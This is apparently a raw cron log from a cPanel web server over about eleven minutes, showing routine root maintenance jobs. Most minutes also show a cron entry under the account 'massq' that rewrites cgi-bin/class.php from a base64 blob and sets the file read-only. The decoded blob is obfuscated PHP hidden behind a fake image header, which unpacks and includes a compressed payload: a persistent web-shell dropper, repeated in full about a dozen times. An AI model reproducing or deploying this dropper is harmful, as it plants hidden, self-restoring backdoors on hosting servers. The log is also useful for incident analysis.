Sep  7 09:20:01 server CROND[25483]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:20:01 server CROND[25484]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:20:01 server CROND[25489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:20:01 server CROND[25492]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 09:20:01 server CROND[25490]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:20:01 server CROND[25495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:20:01 server CROND[25497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:20:01 server CROND[25491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:21:01 server CROND[26337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:21:01 server CROND[26338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:21:01 server CROND[26339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:22:01 server CROND[26704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:22:01 server CROND[26705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:22:01 server CROND[26706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:23:01 server CROND[27078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:23:01 server CROND[27079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:23:01 server CROND[27080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:24:01 server CROND[27465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:24:01 server CROND[27466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:24:01 server CROND[27467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:25:01 server CROND[27962]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 09:25:01 server CROND[27963]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:25:01 server CROND[27967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:25:01 server CROND[27971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:25:01 server CROND[27969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:25:01 server CROND[27965]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:25:01 server CROND[27966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:26:01 server CROND[28791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:26:01 server CROND[28792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:26:01 server CROND[28793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:27:01 server CROND[29173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:27:01 server CROND[29174]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 09:27:01 server CROND[29175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:27:01 server CROND[29176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:28:01 server CROND[29560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:28:01 server CROND[29561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:28:01 server CROND[29559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:29:01 server CROND[29932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:29:01 server CROND[29933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:29:01 server CROND[29934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:30:01 server CROND[30416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:30:01 server CROND[30417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:30:01 server CROND[30421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:30:01 server CROND[30420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:30:01 server CROND[30423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:30:01 server CROND[30424]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:30:01 server CROND[30419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 09:30:01 server CROND[30426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:31:01 server CROND[31249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:31:01 server CROND[31250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:31:01 server CROND[31251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
